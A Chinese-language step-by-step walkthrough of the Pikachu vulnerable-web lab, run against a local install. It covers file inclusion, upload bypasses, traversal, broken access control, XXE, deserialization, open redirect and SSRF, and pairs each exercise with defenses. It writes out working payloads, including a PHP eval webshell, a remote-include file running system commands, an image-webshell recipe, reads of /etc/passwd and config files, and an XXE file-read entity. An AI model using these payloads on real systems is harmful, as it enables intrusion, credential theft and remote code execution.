很多网站把页面文件名放在 URL 参数里(?filename=news.php),服务器 include 该文件。"包含"可以理解为把文件内容"贴"进当前页面。如果没做限制,攻击者就能让服务器"包含"任意文件——本机敏感文件(本地包含),甚至远程恶意代码(远程包含)。
第 1 关本地文件包含(LFI)
入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php
过关标准:页面读出系统文件内容(如 win.ini 或 /etc/passwd)
💡 类比故事图书馆借书处说"你要哪本书我拿给你",但不检查你是不是借了不该借的内部账本。你只要报上书名——哦不对,是"文件路径"——它就乖乖拿给你。用 ../ 一层层往上爬(0.3 节学过),爬到系统根目录,借走系统自己的文件。
原理白话:include($_GET['filename']),参数可控 → 用 ../ 目录穿越读取任意本地文件。
看源码:
$filename = $_GET['filename'];
include "include/$filename"; // 无任何校验
📋 详细步骤
- 正常点页面上的按钮 → 包含 file1.php 等页面(先看正常流程)
- macOS 环境:
?filename=../../../../etc/passwd → 读出系统账号文件 - Windows 环境:
?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件 - 更实际的目标:
?filename=../inc/config.inc.php → 读到靶场数据库账号密码(记住:配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高)
过关标准达成:系统文件内容出现在页面。
🧯 卡住了?对号入座
- 现象:包含不成功/空白 → 原因:路径相对当前目录逐层上跳,层数不够;Windows 试
../../../../Windows/win.ini,Linux/Mac 试 ../../../../etc/passwd - 现象:内容乱码 → 原因:包含二进制文件会乱码,换文本文件验证
- 现象:报 include 失败 → 原因:路径没拼对,先试靶场内部文件(如
../inc/config.inc.php)确认基本穿越可用
🛡 防御视角白名单(只允许固定的几个文件名)+ 禁止用户输入参与路径拼接 + open_basedir 限制。
🤔 想一想:为什么 ../ 能穿越目录?
答:相对路径回溯上一级;服务器的"include" 拼接后成为实际文件路径,多级 ../ 可回退到系统根目录
第 2 关远程文件包含(RFI)
入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
过关标准:远程 txt 里的 PHP 代码被执行(ipconfig/whoami 输出出现在页面)
💡 类比故事本地包含是"借书",远程包含是"让图书馆把你寄来的剧本当场表演"。攻击者在自己电脑上放一个带 PHP 代码的 txt,让服务器去"包含"它——代码就在服务器上执行了。
原理白话:allow_url_include=On 时(1.1 步骤 4 已配),include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器",执行攻击者代码。
📋 详细步骤
- 前提检查:php.ini 里
allow_url_include=On(部署章节已配好) - 写一个带代码的 txt 文件
evil.txt(Windows 用记事本):
<?php system('ipconfig'); ?>
- 把这个文件放到一个"能通过 HTTP 访问"的位置——最简单方法:放进你的网站根目录
D:\phpstudy_pro\WWW\(Apache 已启动,它就是你的 Web 服务器),或另用 Python 起服务 - 访问:
?filename=http://127.0.0.1/evil.txt(指向你自己的 Web 服务;如果 Apache 端口是 8080,写成 http://127.0.0.1:8080/evil.txt) - 服务器包含该远程文件并执行 PHP 代码 → 页面出现
ipconfig 命令结果
过关标准达成:远程代码被执行。学习要点:RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。
🧯 卡住了?对号入座
- 现象:包含远程文件没执行代码,只显示文本/报错 → 原因:①
allow_url_include 没开,回 1.1 步骤 4;②evil.txt 的 URL 访问不到(先在浏览器直接访问那个 URL,能看到文件内容才行);③文件放错目录
🛡 防御视角关闭 allow_url_include(默认就是关的,练习环境是为了演示才开);白名单文件包含。
🤔 想一想:为什么远程包含需要 allow_url_include=On 而本地包含不需要?
答:本地文件系统包含是基础功能;远程 URL 包含是危险扩展,PHP 默认禁用
文件上传漏洞=允许攻击者把可执行脚本(webshell)传到服务器上,然后用蚁剑连接它,远程控制服务器。3 个关卡演示了 3 种常见校验方式及其绕过。核心思想:任何前端校验都是纸做的,任何服务端校验都要看它校验了什么、怎么校验的。
动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):
<?php @eval($_POST['cmd']); ?>
解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。
第 1 关client check(前端校验)
入口:http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php
过关标准:上传 evil.php 成功,蚁剑连接拿到 webshell
💡 类比故事门卫(前端 JS)说"只许图片进",但这个门卫只在门口喊一嗓子,货到了仓库(服务器)没人查。你绕开门口(用 Burp 直接发包),服务器照单全收。
原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。
看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。
📋 详细步骤
- 选 evil.php 点上传 → JS 弹"只允许图片"(体会前端拦路)
- Burp 开拦截再点上传 → 抓到请求 → 找到
filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php) - Forward 放行 → 上传成功,页面返回文件路径(记下,形如
unsafeupload/uploads/2026xxxx.php) - 用中国蚁剑连接该路径(2.3 节):URL 填
http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmd - 连接成功 → 打开虚拟终端输入
whoami 回车 → 出现用户名 → webshell 上线,通关
📷 练习截图:中国蚁剑连接成功界面(虚拟终端执行 whoami)
过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。
🧯 卡住了?对号入座
- 现象:Burp 里找不到上传请求 → 原因:Intercept 没开;或文件太大请求没进来。重试一次
- 现象:蚁剑连不上 → 原因:①路径拼错(复制页面返回的完整路径);②密码不是 cmd;③PHP 版本不是 5.6
🛡 防御视角服务端校验后缀 + 文件内容检测 + 上传目录禁用脚本执行(nginx 对该目录 location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。
🤔 想一想:如果服务器把上传文件名强制改成 .jpg,木马还能执行吗?
答:不能直接执行,但配合文件包含/解析漏洞仍可能——引出下一关的图片马
第 2 关MIME type(Content-Type 校验)
入口:http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php
过关标准:改 Content-Type 后上传成功,蚁剑连接
💡 类比故事这次仓库管理员查货了,但查的是快递单上的"物品声明"——"你这单写的是图片"。可快递单是你自己填的,把"程序"改成"图片"就行。Content-Type 是"自称",不是"真相"。
原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。
看源码:
// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
📋 详细步骤
- 直接上传 evil.php → 被拒(体会服务端在查)
- Burp 抓上传请求 → 找到
Content-Type: application/octet-stream(或 text/php) - 改成
Content-Type: image/jpeg - 放行 → 上传成功 → 蚁剑连接(同 3.7.1 第 4-5 步)
过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。
🧯 卡住了?对号入座
- 现象:Burp 改了 Content-Type 还是被拒 → 原因:确认改的是请求头
Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/png - 现象:Burp 拦不到上传请求 → 原因:回 2.2.3 检查代理;浏览器操作上传时 Intercept 要处于 on
- 现象:上传成功但访问 404 → 原因:看响应里的存储路径,按实际路径访问
🛡 防御视角服务端读文件头判断真实类型 + 后缀白名单 + 存储隔离。
🤔 想一想:攻击者改 Content-Type 为什么能骗过服务器?
答:这个字段本来就是客户端生成的元数据,可任意伪造
第 3 关getimagesize(图片马)
入口:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
过关标准:图片马上传成功,配合文件包含执行出 PHP 代码结果
💡 类比故事仓库管理员学聪明了,打开包裹检查内容(getimagesize 验证文件头是真图片)。绕过思路:包裹是真的,但真图片里夹带了 PHP 代码——"图片马"。图片是真的(能过检查),夹带的代码是"走私货"。
原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。
📋 详细步骤
- 制作图片马(Windows 的 CMD 里执行):
copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)
- 上传图片马 → 通过 getimagesize 校验(它开头是合法图片头)
- 服务器存为
.jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么) - 配合 3.6.1 本地文件包含执行它:
http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg
- 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果
过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。
🧯 卡住了?对号入座
- 现象:图片马上传被拒 → 原因:文件头必须是真实图片(GIF89a 开头等),纯 PHP 文件过不了 getimagesize 校验
- 现象:上传后直接访问不执行 → 原因:正常——图片马后缀是 .jpg 不交给 PHP 解释器,要配合文件包含(3.6)去执行
- 现象:制作图片马失败 → 原因:Windows 下在 cmd 里执行
copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码
🛡 防御视角上传目录禁执行脚本(治本)+ 文件包含白名单 + 图片二次渲染压缩(如重新生成缩略图,夹带代码会被洗掉)。
🤔 想一想:为什么图片马直接访问不执行?
答:.jpg 后缀不会交给 PHP 解释器;必须借文件包含让 PHP 引擎去读它
入口:http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php
过关标准:下载到靶场的数据库配置文件
💡 类比故事网站提供"文件下载",你点哪个文件名它就让你下载哪个——但它不检查"这个文件是不是允许下载的"。你把文件名改成内部的账本路径,它照样打包给你。下载接口和文件包含是"近亲":一个把内容读出来给攻击者,一个把内容执行出来。
原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。
看源码:
$filename = $_GET['filename'];
$file = file_get_contents($filename); // 用户可控
📋 详细步骤
- 正常点"下载" → 下载一个 txt(先看正常流程)
- Burp 抓请求改参数:
?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码) - Windows 进阶:
?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd
过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。
🧯 卡住了?对号入座
- 现象:改 filename 加 ../ 后被拦/无效 → 原因:①浏览器可能对 URL 里的 ../ 做归一化,用 Burp 抓包改最稳;②确认目标文件真实存在(如 pikachu 的 config.inc.php)
- 现象:下载到空内容 → 原因:层数不对,从当前目录逐层数,多试几层 ../../../
- 现象:提示文件不存在 → 原因:路径拼错,先穿越读一个确定存在的文件验证基本穿越可用
🛡 防御视角文件 ID 映射(传 id 查表,不传路径)+ 白名单目录 + 禁止 ../ 穿越字符。
🤔 想一想:下载配置文件的危害是什么?
答:拿到数据库口令,可能直接进数据库或反查其他系统复用密码
越权=身份验证做了一半。服务器验证了"你是登录用户",但没有验证"这条数据/这个功能是不是你的"。分两种:水平越权(访问同级别人的数据)和垂直越权(低权限访问高权限功能)。类比:小区门卫只查"你有没有门禁卡",不查"你进的这栋楼、这间房是不是你的"。
第 1 关水平越权
入口:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)
过关标准:用 lucy 的账号看到 vince 的个人信息
💡 类比故事查询个人信息的接口用 URL 里的 username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。
原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。
看源码:
// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
📋 详细步骤
- 用 lucy / 123456 登录,查看自己的信息,URL 形如
?username=lucy - 把 URL 改成
?username=vince → 看到了 vince 的个人信息(手机号、邮箱等) - 依次换成 allen、kobe……全部可见
过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。
🧯 卡住了?对号入座
- 现象:改了 username 还是显示自己的信息 → 原因:①确认当前登录的是 lucy;②确认改的是 URL 里的 username 参数(GET),改完回车刷新
- 现象:看不到"查看个人信息"入口 → 原因:先登录(lucy / 123456),登录后才有个人主页链接
- 现象:改成 lili 后报错 → 原因:账号名拼写(lili 不是 lily),对照关卡提示的账号列表
🛡 防御视角用 session 里的身份取数据(where username=$_SESSION['user']),不让客户端传身份标识。
🤔 想一想:如果这关改的是 ?username=admin 会怎样?
答:能看到管理员信息——水平越权和垂直越权经常连着发生
第 2 关垂直越权
入口:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)
过关标准:普通用户自封管理员,用新管理员账号登录成功
💡 类比故事管理员才能用的"添加用户"按钮,普通用户页面上看不到(前端隐藏了)。但"看不到"≠"不能用"——接口还在那,你直接输入管理员的网址就进去了。前端隐藏只是把门帘拉上,门根本没锁。
原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。
看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。
📋 详细步骤
- 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮(前端隐藏,先确认)
- 直接访问管理员功能页:
http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php - 通过该页添加一个新管理员(如 admin2 / 123456)
- 退出,用 admin2 / 123456 登录 → 已是管理员权限,提权成功
📷 练习截图:普通用户访问 op2_admin.php 添加管理员账号
过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。
🧯 卡住了?对号入座
- 现象:pikachu 登录后没有"删除用户"按钮 → 原因:正常——普通用户本来就不该有。越权思路:把 admin 才有的操作 URL 直接发给服务器(Burp 里以 pikachu 身份请求)
- 现象:直接访问 admin 的 URL 跳到登录页 → 原因:要先以普通账号登录获得 session,再带着 session 请求 admin 接口;接口 URL 在详细步骤里
- 现象:删除操作没生效 → 原因:确认请求方法(GET/POST)与参数一致,抓包看服务端返回
🛡 防御视角后端每个功能点校验角色(如中间件/注解统一做 RBAC)+ 前端隐藏只是体验优化。
🤔 想一想:为什么攻击者能"发现"这个隐藏页面?
答:页面路径在 JS/HTML 源码里能找到,且 Web 页面无秘密可言——前端所有内容都能被看到
入口:http://127.0.0.1/pikachu/vul/dir_list/dir_list.php
过关标准:页面显示任意文件内容
💡 类比故事和文件下载(3.8)同一个病根,区别只是"直接显示在页面上"还是"下载保存"。同样是"你要什么文件我给什么文件",用 ../ 爬到系统目录随便看。
原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。
📋 详细步骤
- 正常点标题 → 读出对应 txt(先看正常流程)
- macOS:
?title=../../../../etc/passwd - Windows:
?title=..\..\..\..\windows\win.ini - 实战目标:
?title=../inc/config.inc.php 读数据库配置
过关标准达成:任意文件内容显示。
🧯 卡住了?对号入座
- 现象:title 参数加 ../ 没效果 → 原因:确认参数名是 title;层数逐级加,先一个
../ 看列出的目录 - 现象:页面只显示文件列表没有报错 → 原因:正常,目录遍历的回显就是列出的文件名,继续加 ../ 上跳
- 现象:Windows 路径不通 → 原因:
/ 与 \ 都试;确保拼接后的路径存在
🛡 防御视角白名单映射 + 过滤 ../(正确做法是根本不接收路径,只接收 id)。
🤔 想一想:目录遍历和本地文件包含看起来一样,本质区别是什么?
答:遍历只是"读出来",包含是"执行"——LFI 可升级 RCE,危险得多
入口:http://127.0.0.1/pikachu/vul/infoleak/
过关标准:拿到隐藏在页面源码里的账号
💡 类比故事开发者把"小抄"(账号、隐藏路径)写在网页注释、备份文件里,以为"没人会看"。但网页源代码对所有人可见,没有秘密——按 F12 就能看。这关教你养成"看源码找宝贝"的习惯,这个习惯在 SRC 实战里能直接捡漏。
原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。
📋 详细步骤
- 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示("看看你的 abc"之类)
(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)
- 按提示访问
/vul/infoleak/abc.php → 页面显示隐藏的账号密码
过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。
🧯 卡住了?对号入座
- 现象:页面上找不到信息 → 原因:按 F12 或 Ctrl+U 查看页面源代码(不是页面显示的内容),重点看 HTML 注释里的账号密码
- 现象:看了源码还是没有 → 原因:确认入口页面正确(按关卡提示的页面进);注释里藏着测试账号
- 现象:找到账号但登录不了 → 原因:复制时别带多余空格;确认是靶场的登录账号
🛡 防御视角生产环境不写敏感注释、不上传备份、git clone 部署改为构建产物部署、统一敏感信息扫描(gitleaks 类工具)。
🤔 想一想:真实网站里"敏感信息泄露"最常见的形式有哪些?
答:源码备份文件、git/svn 目录、报错信息暴露路径、API 接口文档未删
入口:http://127.0.0.1/pikachu/vul/unserilization/unser.php
过关标准:构造序列化字符串,触发弹窗
💡 类比故事序列化=把物体打包成"规格说明书"(字符串,方便运输/存储);反序列化=按说明书把物体重新组装。问题在于:组装的过程中(构造方法)会执行代码。如果攻击者能控制说明书内容,就能在"组装"时夹带自己的指令。
原理白话:序列化=把对象存成字符串,反序列化=把字符串变回对象。如果对象创建时(构造方法)会执行代码,而攻击者能控制序列化字符串,就能触发代码执行。
看源码:
class S {
var $test = "pikachu";
function __construct() {
echo $this->test; // 对象创建即输出
}
}
$s = unserialize($_GET['s']); // 直接反序列化用户输入
📋 详细步骤
- 访问:
http://127.0.0.1/pikachu/vul/unserilization/unser.php?s=O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";} - 弹窗即通关
- 解释字符串格式(重点):
O:1:"S" = 对象(Object),类名长度 1 的字符串 "S"1:{...} = 1 个属性s:4:"test" = 字符串(string),长度 4,内容是 "test"(属性名)s:29:"<script>..." = 字符串,长度 29,内容是属性值
- 反序列化时
__construct 被触发 → 输出我们伪造的 test → XSS 弹窗
过关标准达成:弹窗。学习要点:长度必须数对,差一个字符就失败——体会"构造 payload 要严谨"。深入一步:真实世界的反序列化 RCE 靠"魔术方法链"(gadget chain),入门阶段了解即可,进阶可深入研究。
🧯 卡住了?对号入座
- 现象:没弹窗 → 原因:长度数错了。
s:29 里的 29 必须等于引号内字符串的实际字符数(<script>alert('xss')</script> 正好 29 个字符)。逐字符数一遍
🛡 防御视角不反序列化用户输入;必须反序列化时用白名单类 + 校验签名。
🤔 想一想:为什么这一关的 payload 长度错了就失败?
答:序列化格式用长度定位字段,长度错位整个结构解析失败
入口:http://127.0.0.1/pikachu/vul/xxe/xxe_1.php
过关标准:提交恶意 XML 后,页面回显系统文件内容
💡 类比故事XML 是种数据格式(和 HTML 长得像)。应用解析你提交的 XML 时,如果允许"外部实体",你可以在 XML 里声明"这里的内容,去读 C 盘那个文件"——解析器会乖乖去读并回显。XML 不只传数据,还能"指使"解析器干活。
原理白话:应用解析用户提交的 XML 时,如果允许"外部实体",攻击者可以用 <!ENTITY> 声明实体引用任意文件/URL,XML 解析器会乖乖去读取并回显。
📋 详细步骤
- 页面表单输入恶意 XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
(解释:<!ENTITY xxe SYSTEM "file:///etc/passwd"> 声明了一个叫 xxe 的实体,指向系统文件;<foo>&xxe;</foo> 引用它 → 解析器读文件并放进来)
- 提交 → 解析结果里出现
/etc/passwd 内容(macOS) - Windows 版本把实体改为:
SYSTEM "file:///c:/windows/win.ini" - 进阶:读靶场配置
file:///D:/phpstudy_pro/WWW/pikachu/inc/config.inc.php(按实际路径)
过关标准达成:任意本地文件被读出。
🧯 卡住了?对号入座
- 现象:实体没回显 → 原因:①DOCTYPE 声明位置和格式要对(在根元素前);②看响应里实体被展开的位置
- 现象:报"外部实体加载失败" → 原因:若 PHP/libxml 已禁用外部实体则本关打不出(PHPStudy 的 PHP 5.6 默认可);先排除 XML 语法错误
- 现象:file:// 读不到文件 → 原因:Windows 下路径写
file:///C:/Windows/win.ini(三个斜杠);Linux 用 /etc/passwd
🛡 防御视角禁止外部实体加载(libxml 中 libxml_disable_entity_loader(true),或用 JSON 替代 XML)。
🤔 想一想:XXE 和 SSRF 有什么联系?
答:外部实体可以指向内网 URL,让服务器代理访问内网——XXE 常作为 SSRF 的载体
入口:http://127.0.0.1/pikachu/vul/urlredirect/urlredirect.php
过关标准:改 url 参数实现任意跳转
💡 类比故事网站有个"中转站":点链接先到官网的跳转接口,再被送到目标页。这个接口不检查目标地址——攻击者把目标改成钓鱼站,用户看到链接开头是官网域名就放松了警惕,点进去却是假网站。"官方域名 + 跳转参数 = 看起来可信的钓鱼链接",是钓鱼的核心帮凶。
原理白话:跳转接口信任用户传的目标地址,跳转到钓鱼站点时用户毫无防备(地址栏一开始是可信域名)。
📋 详细步骤
- 页面上点链接 → 跳转目标由
?url= 参数控制(先正常点一次看流程) - 改成:
?url=https://www.baidu.com → 跳到百度(证明任意跳转成立) - 危险演示:
?url=javascript:alert(document.cookie) → 部分浏览器直接执行 JS
过关标准达成:任意跳转成立。
🧯 卡住了?对号入座
- 现象:改了 url 参数没跳转 → 原因:①确认参数名是 url;②改完要点页面上的"跳转"按钮/链接才会触发
- 现象:跳转被浏览器拦 → 原因:用完整 URL(http://www.baidu.com);本地靶场跳外网属正常,浏览器一般不会拦
- 现象:跳转后不知道算不算通关 → 原因:跳到目标网站即通关,重点是理解"站点做了跳转但没校验目标"的风险
🛡 防御视角跳转目标白名单(只允许本站 URL)+ 拒绝 javascript: 等协议。
🤔 想一想:为什么攻击者不直接发钓鱼链接,要借跳转?
答:借用可信域名增加可信度,绕过邮件/社交平台对陌生域名的告警
SSRF=让服务器替攻击者发请求。类比:攻击者打不进"内网"(比如公司内部系统),但内网里的服务器能访问内网。如果网站的某个功能允许"填一个 URL,我替你访问并显示结果",攻击者就把 URL 填成内网地址——服务器成了攻击者的"内应"。防火墙防外网,SSRF 从内网打内网。

第 1 关SSRF(curl)
入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php
过关标准:回显靶场"内网信息页"内容
💡 类比故事网站有个"URL 查看"工具:你给个网址,服务器用 curl 访问并把内容回显给你。你填自己电脑的网址 127.0.0.1——注意,这是服务器自己访问自己(服务器和你同一台机器)。填靶场内网信息页,就能看到"只有内网才能看"的内容。
原理白话:页面提供一个"URL 查看"工具,服务器用 curl 请求用户给的 URL 并回显——无任何目标校验。
看源码:
$url = $_GET['url'];
echo curl_exec($ch); // curl 用户可控的 URL
📋 详细步骤
- 输入
http://127.0.0.1/pikachu/ → 正常回显(注意:这是服务器自己访问自己,体会"服务器替你发请求") - 读靶场内网信息页:
http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 回显内部信息
📷 练习截图:SSRF 回显内网信息页内容
- macOS:
file:///etc/passwd 直接读本地文件(curl 支持 file 协议) - 了解内网探测思路:把 127.0.0.1 换成内网 IP 段(如 192.168.1.1)逐个探测端口——这就是打内网的入口(真实环境中这才是 SSRF 的完整用法,靶场里了解思路即可)
过关标准达成:内网资源被"借"服务器之手访问。
🧯 卡住了?对号入座
- 现象:请求没回显 → 原因:url 参数要传完整地址(含 http://);先试
http://127.0.0.1/pikachu 这种靶场自身地址 - 现象:返回错误/超时 → 原因:目标端口没开服务属正常;本关重点在"服务器替你去访问了内网地址"
- 现象:读不到内网其他机器 → 原因:靶场在你电脑上,"内网"就是本机各端口;换 127.0.0.1 的其他端口试
🤔 想一想:curl 这关能直接读服务器本机文件吗?
答:curl 默认打 http 协议;要读文件得配合 file:// 或靠下一关 file_get_contents,这正是两关能力的区别
🛡 防御视角URL 白名单 + 禁止内网地址段(127.0.0.0/8、10.0.0.0/8、192.168.0.0/16、169.254.0.0/16)+ 禁止 file/dict/gopher 等协议。
第 2 关SSRF(file_get_contents)
入口:http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php
过关标准:回显内网信息页内容
💡 类比故事同上,只是服务器"替你访问"用的函数换了一个(PHP 的 file_get_contents() 同样支持 URL 和 file 协议)。理解:危险的不是函数,而是"未校验的用户可控 URL"。
原理白话:同上,只是读取函数换成 PHP 的 file_get_contents(),它同样支持 URL 和 file 协议。
📋 详细步骤
?file=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info.php → 内网信息回显- macOS:
?file=file:///etc/passwd → 本地文件读取 - 与 curl 版对照,理解"危险的不是函数,而是未校验的用户可控 URL"
过关标准达成:内网访问成立。
🧯 卡住了?对号入座
- 现象:file:// 协议失败 → 原因:确认 allow_url_fopen 开启;Windows 用
file:///C:/Windows/win.ini,Linux 用 file:///etc/passwd - 现象:返回空白 → 原因:文件不存在或路径错;先读一个确定存在的文本文件
- 现象:http 也不行 → 原因:与 3.15.1 相同,确认 url 参数完整(含协议头)
🛡 防御视角同 3.15.1。
🤔 想一想:SSRF 探测内网端口时,怎么判断端口是否开放?
答:看响应差异——返回内容/响应时间/错误信息不同
每通一关,在 □ 里打钩。建议配合"过关标准"自查,全部打钩后你就是这套靶场的全通选手了。
暴力破解(4 关)
- 3.1.1 表单暴力破解:Intruder 爆破出 123456
- 3.1.2 验证码绕过(on client):不理验证码爆破成功
- 3.1.3 验证码绕过(on server):复用验证码爆破成功
- 3.1.4 token 防爆破:脚本输出"密码是: 123456"
XSS(10 关)
- 3.2.1 反射型(get):F12 改 maxlength 或 Burp 改参数后弹窗
- 3.2.2 反射型(post):登录后提交 payload 弹窗
- 3.2.3 存储型:换浏览器访问同样弹窗
- 3.2.4 DOM 型:URL 构造 payload 弹窗
- 3.2.5 DOM 型-X:表单提交闭合 payload 弹窗
- 3.2.6 盲打:管理员后台中招,Cookie 被收走
- 3.2.7 过滤:img onerror 绕过弹窗
- 3.2.8 htmlspecialchars:javascript: 协议点链接弹窗
- 3.2.9 href 输出:javascript: 协议弹窗
- 3.2.10 js 输出:闭合引号弹窗
CSRF(3 关)
- 3.3.1 CSRF(get):点恶意链接资料被改
- 3.3.2 CSRF(post):本地钓鱼页自动提交成功
- 3.3.3 CSRF Token:错误 token 被服务器拒绝
SQL 注入(10 关)
- 3.4.1 数字型:or 1=1 查全表
- 3.4.2 字符型:引号闭合查全表
- 3.4.3 搜索型:%' or 1=1# 查全表
- 3.4.4 xx 型:') or 1=1# 查全表
- 3.4.5 insert/update:updatexml 报错带出库名
- 3.4.6 delete:报错带出库名
- 3.4.7 http header:改 User-Agent 报错带出库名
- 3.4.8 布尔盲注:真假差异猜出数据
- 3.4.9 时间盲注:sleep 延迟差异
- 3.4.10 宽字节:%df 吃掉反斜杠
RCE(2 关)
- 3.5.1 exec "ping":命令拼接执行 ipconfig/whoami
- 3.5.2 exec "eval":phpinfo() 页面出现
文件包含(2 关)
- 3.6.1 LFI:读出 win.ini / etc/passwd
- 3.6.2 RFI:远程 txt 代码被执行
文件上传(3 关)
- 3.7.1 client check:改包上传,蚁剑连上
- 3.7.2 MIME:改 Content-Type 上传,蚁剑连上
- 3.7.3 图片马:配合 LFI 执行代码
文件下载(1 关)
- 3.8 文件下载:下载到 config.inc.php
越权(2 关)
- 3.9.1 水平越权:lucy 看到 vince 信息
- 3.9.2 垂直越权:普通用户自封管理员
目录遍历(1 关)
敏感信息泄露(1 关)
PHP 反序列化(1 关)
XXE(1 关)
URL 跳转(1 关)
SSRF(2 关)
- 3.15.1 SSRF(curl):回显内网信息页
- 3.15.2 SSRF(file_get_contents):回显内网信息页
| 漏洞类型 | 一句话成因 | 一句话防御 |
|---|
| 暴力破解 | 无次数限制、验证码失效 | 失败锁定 + 服务端一次性验证码 + token |
| XSS | 用户输入进 HTML 未编码 | 输出按上下文编码(htmlspecialchars/JS转义/URL协议白名单) |
| CSRF | 浏览器自动带 Cookie + 无来源校验 | CSRF Token + SameSite + 关键操作二次确认 |
| SQL 注入 | 输入拼进 SQL 语句 | 参数化查询(一切注入的正解) |
| RCE | 输入拼进命令/eval | 白名单 + 禁危险函数 + 最小权限 |
| 文件包含 | 文件名参数可控 | 白名单 + 关闭 allow_url_include |
| 文件上传 | 校验可绕过、脚本可执行 | 服务端内容校验 + 上传目录禁执行 + 重命名 |
| 文件下载/目录遍历 | 路径参数可控 | id 映射 + 拒绝 ../ |
| 越权 | 只验登录不验归属/角色 | 对象级授权(用 session 身份取数)+ 接口级 RBAC |
| 信息泄露 | 注释/备份/报错藏敏感信息 | 上线前敏感扫描 + 统一错误页 |
| 反序列化 | 反序列化用户输入 | 不反序列化不可信输入 / 白名单类 |
| XXE | XML 外部实体未禁用 | 禁用 DTD/外部实体 |
| URL 跳转 | 跳转目标未校验 | 域名白名单 + 协议白名单 |
| SSRF | 服务器代发请求目标未校验 | URL 白名单 + 禁内网地址/危险协议 |
暴力破解
- 简述验证码绕过(on server)关卡为什么同一个验证码能反复用?(要点:session 未销毁,一次性机制缺失)
- token 防爆破关卡的 token 从哪来?为什么爆破工具不能直接重用?(要点:服务端生成、每次刷新、攻击者拿不到新值)
- 设计一个登录接口的三个防爆破措施。(要点:锁定/限流/验证码/token 任选三)
XSS
- 反射型、存储型、DOM 型三种 XSS 的区别?(要点:是否入库、是否经服务器、危害范围)
- 为什么过滤
<script> 关键字防不住 XSS?举两个绕过例子。(要点:img onerror、svg onload、大小写等) htmlspecialchars 使用正确(ENT_QUOTES)但输出在 href 里,还有风险吗?(要点:javascript: 协议,需协议白名单)- 盲打 XSS 的目标是谁?为什么选择打后台?(要点:管理员权限高、后台防护常被忽视)
CSRF
